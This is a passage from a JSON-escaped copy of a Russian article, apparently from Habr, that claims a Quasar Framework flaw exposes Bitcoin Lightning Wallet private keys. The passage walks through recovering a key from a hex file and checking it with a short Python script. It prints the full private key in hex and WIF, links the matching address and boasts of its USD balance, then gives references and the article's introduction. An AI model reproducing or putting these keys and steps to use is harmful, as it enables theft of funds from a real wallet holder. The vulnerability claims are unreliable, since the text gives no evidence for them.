\u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u0432 \u0431\u0438\u043d\u0430\u0440\u043d\u043e\u043c \u043a\u043e\u0434\u0435 \u043e\u0442 Bitcoin Lightning Wallet \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Quasar Framework\" title=\" \" width=\"815\" height=\"328\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/4c1\/be0\/08b\/4c1be008b5a76f9f037e18d719188970.png\"\/><\/p>\n<div><figcaption> <\/figcaption><\/div>\n<\/figure>\n<hr\/>\n<p>\u041e\u0442\u043a\u0440\u043e\u0435\u043c \u0444\u0430\u0439\u043b:\u00a0<strong>hex.txt<\/strong><\/p>\n<pre><code>cat hex.txt<\/code><\/pre>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/6d6\/40a\/d87\/6d640ad8780b242c6ac87e3590a5569f.png\" alt=\"\u041a\u0430\u043a \u043d\u0430\u0439\u0442\u0438 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u0432 \u0431\u0438\u043d\u0430\u0440\u043d\u043e\u043c \u043a\u043e\u0434\u0435 \u043e\u0442 Bitcoin Lightning Wallet \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Quasar Framework\" title=\"7E723AFFE50E5139BF2B3ADCB8A118A682F8BBA5296C3B4961791929DBEA3F1B\" width=\"779\" height=\"110\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/6d6\/40a\/d87\/6d640ad8780b242c6ac87e3590a5569f.png\"\/><\/p>\n<div><figcaption><strong>7E723AFFE50E5139BF2B3ADCB8A118A682F8BBA5296C3B4961791929DBEA3F1B<\/strong><\/figcaption><\/div>\n<\/figure>\n<h3>\u041f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u041a\u043b\u044e\u0447 \u041d\u0430\u0439\u0434\u0435\u043d!<\/h3>\n<hr\/>\n<p>\u0423\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043c \u043c\u043e\u0434\u0443\u043b\u044c\u00a0<code>Bitcoin<\/code><\/p>\n<pre><code>!pip3 install bitcoin<\/code><\/pre>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/991\/34a\/22c\/99134a22c8336b686b9b76b063b25da1.png\" alt=\"\u041a\u0430\u043a \u043d\u0430\u0439\u0442\u0438 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u0432 \u0431\u0438\u043d\u0430\u0440\u043d\u043e\u043c \u043a\u043e\u0434\u0435 \u043e\u0442 Bitcoin Lightning Wallet \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Quasar Framework\" title=\" \" width=\"1024\" height=\"199\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/991\/34a\/22c\/99134a22c8336b686b9b76b063b25da1.png\"\/><\/p>\n<div><figcaption> <\/figcaption><\/div>\n<\/figure>\n<hr\/>\n<p>\u0417\u0430\u043f\u0443\u0441\u0442\u0438\u043c \u043a\u043e\u0434 \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u0435 \u0411\u0438\u0442\u043a\u043e\u0438\u043d \u0410\u0434\u0440\u0435\u0441\u0430:<\/p>\n<pre><code>from bitcoin import *  with open(\"hex.txt\",\"r\") as f:     content = f.readlines() # you may also want to remove whitespace characters like `\\n` at the end of each line content = [x.strip() for x in content] f.close()   outfile = open(\"privtoaddr.txt\",\"w\") for x in content:   outfile.write(x+\":\"+pubtoaddr(encode_pubkey(privtopub(x), \"bin_compressed\"))+\"\\n\")   outfile.close()<\/code><\/pre>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/d37\/2f2\/2b9\/d372f22b9c5911706531f5ac506d428c.png\" alt=\"\u041a\u0430\u043a \u043d\u0430\u0439\u0442\u0438 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u0432 \u0431\u0438\u043d\u0430\u0440\u043d\u043e\u043c \u043a\u043e\u0434\u0435 \u043e\u0442 Bitcoin Lightning Wallet \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Quasar Framework\" title=\" \" width=\"982\" height=\"353\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/d37\/2f2\/2b9\/d372f22b9c5911706531f5ac506d428c.png\"\/><\/p>\n<div><figcaption> <\/figcaption><\/div>\n<\/figure>\n<hr\/>\n<p>\u041e\u0442\u043a\u0440\u043e\u0435\u043c \u0444\u0430\u0439\u043b:\u00a0<code>privtoaddr.txt<\/code><\/p>\n<pre><code>cat privtoaddr.txt<\/code><\/pre>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/a22\/f02\/c88\/a22f02c888a85320b5b6cfe8427792cc.png\" alt=\"\u041a\u0430\u043a \u043d\u0430\u0439\u0442\u0438 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u0432 \u0431\u0438\u043d\u0430\u0440\u043d\u043e\u043c \u043a\u043e\u0434\u0435 \u043e\u0442 Bitcoin Lightning Wallet \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Quasar Framework\" title=\" \" width=\"1024\" height=\"113\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/a22\/f02\/c88\/a22f02c888a85320b5b6cfe8427792cc.png\"\/><\/p>\n<div><figcaption> <\/figcaption><\/div>\n<\/figure>\n<p><strong>\u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442:<\/strong><\/p>\n<pre><code>7E723AFFE50E5139BF2B3ADCB8A118A682F8BBA5296C3B4961791929DBEA3F1B:1qzgi39y33HrM7mHsZ6FaNspHCraJe62F <\/code><\/pre>\n<blockquote>\n<p><strong><em>\u0412\u0441\u0435 \u0432\u0435\u0440\u043d\u043e! \u041f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0411\u0438\u0442\u043a\u043e\u0438\u043d \u041a\u043e\u0448\u0435\u043b\u044c\u043a\u0443.<\/em><\/strong><\/p>\n<\/blockquote>\n<hr\/>\n<h3>\u041e\u0442\u043a\u0440\u043e\u0435\u043c\u00a0bitaddress\u00a0\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u043c:<\/h3>\n<pre><code>ADDR: 1qzgi39y33HrM7mHsZ6FaNspHCraJe62F WIF:  L1TWHkT6HcNVHCjsUpGecyZQqGJC5Ek98HunmRH4c3zb8V87NUiP HEX:  7E723AFFE50E5139BF2B3ADCB8A118A682F8BBA5296C3B4961791929DBEA3F1B<\/code><\/pre>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/b3a\/a6f\/ddc\/b3aa6fddc77c6be34c3e77c9084ea966.png\" alt=\"\u041a\u0430\u043a \u043d\u0430\u0439\u0442\u0438 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u0432 \u0431\u0438\u043d\u0430\u0440\u043d\u043e\u043c \u043a\u043e\u0434\u0435 \u043e\u0442 Bitcoin Lightning Wallet \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Quasar Framework\" title=\" \" width=\"825\" height=\"818\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/b3a\/a6f\/ddc\/b3aa6fddc77c6be34c3e77c9084ea966.png\"\/><\/p>\n<div><figcaption> <\/figcaption><\/div>\n<\/figure>\n<hr\/>\n<p><a href=\"https:\/\/www.blockchain.com\/en\/explorer\/addresses\/btc\/1qzgi39y33HrM7mHsZ6FaNspHCraJe62F\" rel=\"noopener noreferrer nofollow\"><strong><u>https:\/\/www.blockchain.com\/en\/explorer\/addresses\/btc\/1qzgi39y33HrM7mHsZ6FaNspHCraJe62F<\/u><\/strong><\/a><\/p>\n<hr\/>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/c53\/b36\/b11\/c53b36b11ddf5591ab7e5f8e0db7659f.png\" alt=\"\u041a\u0430\u043a \u043d\u0430\u0439\u0442\u0438 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u0432 \u0431\u0438\u043d\u0430\u0440\u043d\u043e\u043c \u043a\u043e\u0434\u0435 \u043e\u0442 Bitcoin Lightning Wallet \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Quasar Framework\" title=\"\" width=\"1024\" height=\"171\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/c53\/b36\/b11\/c53b36b11ddf5591ab7e5f8e0db7659f.png\"\/><\/figure>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/f82\/021\/5e4\/f820215e465cbc7ef117f2aea9e13a2f.png\" alt=\"\u041a\u0430\u043a \u043d\u0430\u0439\u0442\u0438 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u0432 \u0431\u0438\u043d\u0430\u0440\u043d\u043e\u043c \u043a\u043e\u0434\u0435 \u043e\u0442 Bitcoin Lightning Wallet \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Quasar Framework\" title=\" \" width=\"864\" height=\"191\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/f82\/021\/5e4\/f820215e465cbc7ef117f2aea9e13a2f.png\"\/><\/p>\n<div><figcaption> <\/figcaption><\/div>\n<\/figure>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/00f\/148\/415\/00f148415b31eca77c450a3de26bb400.png\" alt=\"\u041a\u0430\u043a \u043d\u0430\u0439\u0442\u0438 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u0432 \u0431\u0438\u043d\u0430\u0440\u043d\u043e\u043c \u043a\u043e\u0434\u0435 \u043e\u0442 Bitcoin Lightning Wallet \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Quasar Framework\" title=\" \" width=\"1024\" height=\"149\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/00f\/148\/415\/00f148415b31eca77c450a3de26bb400.png\"\/><\/p>\n<div><figcaption> <\/figcaption><\/div>\n<\/figure>\n<h3>BALANCE: $ 11032.77<\/h3>\n<hr\/>\n<h3>References:<\/h3>\n<ul>\n<li>\n<p><strong>[1]<\/strong>\u00a0<a href=\"https:\/\/cryptodeep.ru\/doc\/A_Cryptoeconomic_Traffic_Analysis_of_Bitcoins_Lightning_Network.pdf\" rel=\"noopener noreferrer nofollow\"><em><u>A Cryptoeconomic Traffic Analysis of Bitcoins Lightning Network\u00a0<\/u><\/em><strong><em><u>(Ferenc Beres, Istvan A. Seres, Andras A. Benczur)<\/u><\/em><\/strong><\/a><\/p>\n<\/li>\n<\/ul>\n<ul>\n<li>\n<p><strong>[2]<\/strong>\u00a0<a href=\"https:\/\/cryptodeep.ru\/doc\/Flood_Loot_A_Systemic_Attack_On_The_Lightning_Network.pdf\" rel=\"noopener noreferrer nofollow\"><em><u>Flood &amp; Loot: A Systemic Attack On The Lightning Network\u00a0<\/u><\/em><strong><em><u>(Jona Harris, Aviv Zohar)<\/u><\/em><\/strong><\/a><\/p>\n<\/li>\n<li>\n<p><strong>[3]<\/strong>\u00a0<a href=\"https:\/\/cryptodeep.ru\/doc\/Short_Paper_A_Centrality_Analysis_of_the_Lightning_Network.pdf\" rel=\"noopener noreferrer nofollow\"><em><u>Short Paper: A Centrality Analysis of the Lightning Network\u00a0<\/u><\/em><strong><em><u>(Philipp Zabka, Klaus-T. Foerster, Christian Decker, Stefan Schmid)<\/u><\/em><\/strong><\/a><\/p>\n<\/li>\n<li>\n<p><strong>[4]<\/strong>\u00a0<a href=\"https:\/\/cryptodeep.ru\/doc\/Congestion_Attacks_in_Payment_Channel_Networks.pdf\" rel=\"noopener noreferrer nofollow\"><em><u>Congestion Attacks in Payment Channel Networks\u00a0<\/u><\/em><strong><em><u>(Ayelet Mizrahi, Aviv Zohar)<\/u><\/em><\/strong><\/a><\/p>\n<\/li>\n<li>\n<p><strong>[5]<\/strong>\u00a0<a href=\"https:\/\/cryptodeep.ru\/doc\/A_Deep_Dive_Into_Lightning_as_a_Bitcoin_Scaling_Solution.pdf\" rel=\"noopener noreferrer nofollow\"><em><u>A Deep Dive Into Lightning as a Bitcoin Scaling Solution\u00a0<\/u><\/em><strong><em><u>(George Kaloudis, Teddy Oosterbaan)<\/u><\/em><\/strong><\/a><\/p>\n<\/li>\n<li>\n<p><strong>[6]<\/strong>\u00a0<a href=\"https:\/\/cryptodeep.ru\/doc\/The_Lightning_Network_is_an_overlay_network_powered_by_Bitcoin_smart_contracts_it_is_NOT_a_blockchain.pdf\" rel=\"noopener noreferrer nofollow\"><em><u>The Lightning Network is an overlay network powered by Bitcoin smart contracts it is NOT a blockchain\u00a0<\/u><\/em><strong><em><u>(George Kaloudis, Teddy Oosterbaan)<\/u><\/em><\/strong><\/a><\/p>\n<\/li>\n<li>\n<p><strong>[7]<\/strong>\u00a0<a href=\"https:\/\/cryptodeep.ru\/doc\/Lightning_Network_Scalability_Solutions.pdf\" rel=\"noopener noreferrer nofollow\"><em><u>Lightning Network Scalability Solutions\u00a0<\/u><\/em><strong><em><u>(Joseph Poon, Thaddeus Dryja)<\/u><\/em><\/strong><\/a><\/p>\n<\/li>\n<li>\n<p><strong>[8]<\/strong>\u00a0<a href=\"https:\/\/cryptodeep.ru\/doc\/The_Bitcoin_Lightning_Network_DRAFT_0.5.pdf\" rel=\"noopener noreferrer nofollow\"><em><u>The Bitcoin Lightning Network DRAFT Version 0.5<\/u><\/em><strong><em><u>\u00a0(Joseph Poon, Thaddeus Dryja)<\/u><\/em><\/strong><\/a><\/p>\n<\/li>\n<li>\n<p><strong>[9]<\/strong>\u00a0<a href=\"https:\/\/cryptodeep.ru\/doc\/CoinPool_efficient_off-chain_payment_pools_for_Bitcoin.pdf\" rel=\"noopener noreferrer nofollow\"><em><u>CoinPool efficient off-chain payment pools for Bitcoin\u00a0<\/u><\/em><strong><em><u>(Gleb Naumenko, Antoine Riard)<\/u><\/em><\/strong><\/a><\/p>\n<\/li>\n<\/ul>\n<hr\/>\n<\/div>\n<\/div>\n<\/div>\n<p><!----><!----><\/div>\n<p><!----><!----><br \/> \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"https:\/\/habr.com\/ru\/articles\/773412\/\"> https:\/\/habr.com\/ru\/articles\/773412\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<div><!--[--><!--]--><\/div>\n<div id=\"post-content-body\">\n<div>\n<div class=\"article-formatted-body article-formatted-body article-formatted-body_version-2\">\n<div xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\">\n<figure class=\"full-width\"><\/figure>\n<p>\u0412 \u044d\u0442\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0435 \u043c\u044b \u0437\u0430\u043e\u0441\u0442\u0440\u0438\u043c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u043d\u0430 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0434\u043b\u044f \u0441\u043c\u0430\u0440\u0442\u0444\u043e\u043d\u043e\u0432\u00a0<code>iOS<\/code>\u00a0\u0438\u00a0<code>Android<\/code>\u00a0\u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0439 \u0411\u0438\u0442\u043a\u043e\u0438\u043d \u041a\u043e\u0448\u0435\u043b\u0435\u043a \u0441 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u043e\u0439 \u0431\u044b\u0441\u0442\u0440\u044b\u0445 \u043f\u043b\u0430\u0442\u0435\u0436\u0435\u0439 \u0447\u0435\u0440\u0435\u0437\u00a0<code>(Lightning network)<\/code>\u00a0<a href=\"https:\/\/apkcombo.com\/blw-bitcoin-and-lightning-wal\/com.lightning.walletapp\/\" rel=\"noopener noreferrer nofollow\"><u>BLW: Bitcoin Lightning Wallet<\/u><\/a>. \u041a \u0431\u043e\u043b\u044c\u0448\u043e\u043c\u0443 \u0441\u043e\u0436\u0430\u043b\u0435\u043d\u0438\u044e \u043c\u043d\u043e\u0433\u0438\u0435 \u0430\u0432\u0442\u043e\u043d\u043e\u043c\u043d\u044b\u0435 \u043d\u043e\u0434\u044b \u043c\u043e\u0431\u0438\u043b\u044c\u043d\u044b\u0445 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0438 \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c \u043e\u0442\u00a0<a href=\"https:\/\/github.com\/lnbits\/lnbits\" rel=\"noopener noreferrer nofollow\"><strong><u>LNbits\u00a0Node Manager<\/u><\/strong><\/a>\u00a0\u0438\u00a0<a href=\"https:\/\/github.com\/ElementsProject\/lightning\" rel=\"noopener noreferrer nofollow\"><strong><u>Core Lightning<\/u><\/strong><\/a>\u00a0\u043f\u043e\u0434\u0432\u0435\u0440\u0433\u0430\u0435\u0442 \u0412\u042b\u0421\u041e\u041a\u0415\u041c\u0423 \u0420\u0418\u0421\u041a\u0423 \u043f\u043e\u0442\u0435\u0440\u0438 \u0432\u0441\u0435\u0445 \u0434\u0435\u043d\u0435\u0436\u043d\u044b\u0445 \u0441\u0440\u0435\u0434\u0441\u0442\u0432 \u0432 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u043a\u0440\u0438\u043f\u0442\u043e\u0432\u0430\u043b\u044e\u0442\u043d\u044b\u0445 \u043c\u043e\u043d\u0435\u0442\u0430\u0445.<\/p>\n<p>\u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u00a0<a href=\"https:\/\/github.com\/davidshares\/Lightning-Network\/blob\/main\/README.md\" rel=\"noopener noreferrer nofollow\"><u>David Shares<\/u><\/a>\u00a0\u0438\u0437 \u044f\u043f\u043e\u043d\u0441\u043a\u043e\u0439 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438\u00a0<a href=\"https:\/\/github.com\/bitcoin-portal\" rel=\"noopener noreferrer nofollow\"><strong><u>Bitcoin Portal<\/u><\/strong><\/a>\u00a0\u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u043e\u00a0<a href=\"https:\/\/github.com\/davidshares\/Lightning-Network\/blob\/main\/README.md\" rel=\"noopener noreferrer nofollow\"><u>\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432<\/u><\/a>.<\/p>\n<p>\u0420\u0430\u0437\u0431\u0435\u0440\u0435\u043c \u0442\u0435\u043e\u0440\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u043e\u0441\u043d\u043e\u0432\u0443:\u00a0<a href=\"https:\/\/github.com\/lnbits\/lnbits\" rel=\"noopener noreferrer nofollow\"><strong><u>LNbits<\/u><\/strong><\/a>\u00a0\u2013 \u044d\u0442\u043e \u0431\u0435\u0441\u043f\u043b\u0430\u0442\u043d\u0430\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0437\u0430\u043f\u0438\u0441\u0435\u0439 \u0434\u043b\u044f \u043c\u043d\u043e\u0433\u0438\u0445 \u043c\u043e\u0431\u0438\u043b\u044c\u043d\u044b\u0445 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0438 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0442 \u0441 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u043c\u0438 \u043a\u0440\u0438\u043f\u0442\u043e\u0432\u0430\u043b\u044e\u0442\u043d\u044b\u043c\u0438 \u043a\u043e\u0448\u0435\u043b\u044c\u043a\u0430\u043c\u0438. \u0418\u0437\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e \u0448\u0438\u0440\u043e\u043a\u0443\u044e \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u0441\u0442\u044c\u00a0<code>LNbits Node Manager<\/code>\u00a0\u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u0441 \u0440\u0430\u0437\u0432\u0438\u0442\u0438\u0435\u043c\u00a0<code>Bitcoin Lightning Wallet\u00a0(BLW)<\/code>\u00a0\u0442.\u043a. \u0440\u0430\u0437\u0432\u0438\u0442\u0438\u0435 \u043d\u0435\u043a\u0430\u0441\u0442\u043e\u0434\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0438 \u0430\u0432\u0442\u043e\u043d\u043e\u043c\u043d\u044b\u0445 \u043d\u043e\u0434\u043e\u0432 \u0434\u043b\u044f\u00a0<code>Bitcoin SPV<\/code>, \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u043d\u044b\u0439 \u0434\u043b\u044f\u00a0<code>Android<\/code>\u00a0\u0438\u00a0<code>iPhone<\/code>\u00a0\u0441 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u044c\u044e\u00a0<code>Node.js<\/code>. \u0411\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f \u0430\u0432\u0442\u043e\u043d\u043e\u043c\u043d\u044b\u043c \u043d\u043e\u0434\u0430\u043c \u0432\u044b \u0438\u043c\u0435\u0435\u0442\u0435 \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0441\u0432\u043e\u0438\u043c \u0441\u0440\u0435\u0434\u0441\u0442\u0432\u043e\u043c \u0438 \u0432\u0430\u043c \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0441\u0430\u043c\u043e\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u0441\u0432\u043e\u0438\u043c\u0438 \u043f\u043b\u0430\u0442\u0435\u0436\u043d\u044b\u043c\u0438 \u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0430\u043c\u0438\u00a0<em>(\u0432 \u043e\u0442\u043b\u0438\u0447\u0438\u0435 \u043e\u0442 \u0434\u0440\u0443\u0433\u0438\u0445 \u043c\u043e\u0431\u0438\u043b\u044c\u043d\u044b\u0445 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0438 \u0441 \u043a\u0440\u0438\u043f\u0442\u043e\u0432\u0430\u043b\u044e\u0442\u043d\u044b\u043c\u0438 \u043a\u043e\u0448\u0435\u043b\u044c\u043a\u0430\u043c\u0438)<\/em>.<\/p>\n<p><a href=\"https:\/\/github.com\/lnbits\/lnbits\" rel=\"noopener noreferrer nofollow\"><strong><u>Node Manager<\/u><\/strong><\/a>\u00a0\u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c\u00a0<a href=\"https:\/\/github.com\/lnbits\/lnbits\" rel=\"noopener noreferrer nofollow\"><strong><u>LNbits<\/u><\/strong><\/a>\u00a0\u0440\u0435\u0448\u0430\u0435\u0442 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0437\u0430\u0434\u0430\u0447, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a:<\/p>\n<ul>\n<li>\n<p>\u0421\u0431\u043e\u0440 \u0431\u0443\u043c\u0430\u0436\u043d\u044b\u0445 \u0446\u0435\u043d \u043d\u0430 \u043c\u043e\u043d\u0435\u0442\u00a0<code>BTC, ETH, LTC, USDT, XLM, BNB<\/code>, \u0438.\u0442.\u0434<\/p>\n<\/li>\n<li>\n<p>\u0412\u0435\u0434\u0435\u043d\u0438\u0435 \u0441\u043f\u0438\u0441\u043a\u0430 \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u043d\u043e\u0434\u043e\u0432\u00a0<code>LNbits<\/code>, \u043a\u043e\u0442\u043e\u0440\u044b\u0435\u00a0<code>Bitcoin Lightning Wallet\u00a0(BLW)<\/code>\u00a0\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0434\u043b\u044f \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u044f \u043f\u043b\u0430\u0442\u0435\u0436\u043d\u044b\u0445 \u043a\u0430\u043d\u0430\u043b\u043e\u0432.<\/p>\n<\/li>\n<li>\n<p>\u041f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0447\u0430\u0441\u0442\u0438\u0447\u043d\u043e\u0439 \u043e\u043f\u043b\u0430\u0442\u044b \u043f\u043b\u0430\u0442\u0435\u0436\u043d\u044b\u0445 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u043e\u0432.<\/p>\n<\/li>\n<li>\n<p>\u0425\u0440\u0430\u043d\u0435\u043d\u0438\u0435 \u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u043e\u0439 \u043a\u043e\u043f\u0438\u0438 \u0432\u0430\u0448\u0435\u0433\u043e \u043f\u043b\u0430\u0442\u0435\u0436\u043d\u043e\u0433\u043e \u043a\u0430\u043d\u0430\u043b\u0430.<\/p>\n<\/li>\n<\/ul>\n<hr\/>\n<figure class=\"full-width\">\n<div><figcaption> <\/figcaption><\/div>\n<\/figure>\n<p><strong>LNbits node manager<\/strong>\u00a0\u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0441 \u0441\u0435\u0440\u0432\u0438\u0441\u0430\u043c\u0438:<\/p>\n<figure class=\"full-width\">\n<div><figcaption>\u041a\u0430\u043a \u043d\u0430\u0439\u0442\u0438 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u0432 \u0431\u0438\u043d\u0430\u0440\u043d\u043e\u043c \u043a\u043e\u0434\u0435 \u043e\u0442 Bitcoin Lightning Wallet \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Quasar Framework<\/figcaption><\/div>\n<\/figure>\n<hr\/>\n<blockquote>\n<p><em>\u0421\u043e\u0433\u043b\u0430\u0441\u043d\u0430 \u043f\u0440\u0438\u043c\u0435\u0440\u0430\u043c\u00a0<\/em><a href=\"https:\/\/objsal.medium.com\/free-bitcoin-transactions-with-lnbits-bd5b3933f082\" rel=\"noopener noreferrer nofollow\"><em><u>Salvador Guerrero<\/u><\/em><\/a><em>\u00a0\u043c\u043d\u043e\u0433\u0438\u0435 \u043a\u0442\u043e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043b\u00a0<\/em><code>LNBits<\/code>\u00a0\u043d\u0430 \u043f\u043e\u043b\u043d\u043e\u0446\u0435\u043d\u043d\u044b\u0439\u00a0<a href=\"https:\/\/bitcoin.org\/en\/full-node\" rel=\"noopener noreferrer nofollow\"><u>\u0411\u0438\u0442\u043a\u043e\u0438\u043d-\u0443\u0437\u0435\u043b<\/u><\/a>\u00a0<code>(Bitcoin Node)<\/code>\u00a0\u043c\u043e\u0436\u0435\u0442 \u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u043d\u0430\u00a0<a href=\"https:\/\/github.com\/raspberrypi\" rel=\"noopener noreferrer nofollow\"><strong><u>Raspberry Pi<\/u><\/strong><\/a>, \u0447\u0442\u043e\u0431\u044b \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c\u00a0<code>Bitcoin<\/code>\u00a0<em>\u0431\u0435\u0437 \u043a\u043e\u043c\u0438\u0441\u0441\u0438\u0439 \u0437\u0430 \u0442\u0440\u0430\u043d\u0437\u0430\u043a\u0446\u0438\u0438<\/em>.\u00a0\u042d\u0442\u043e 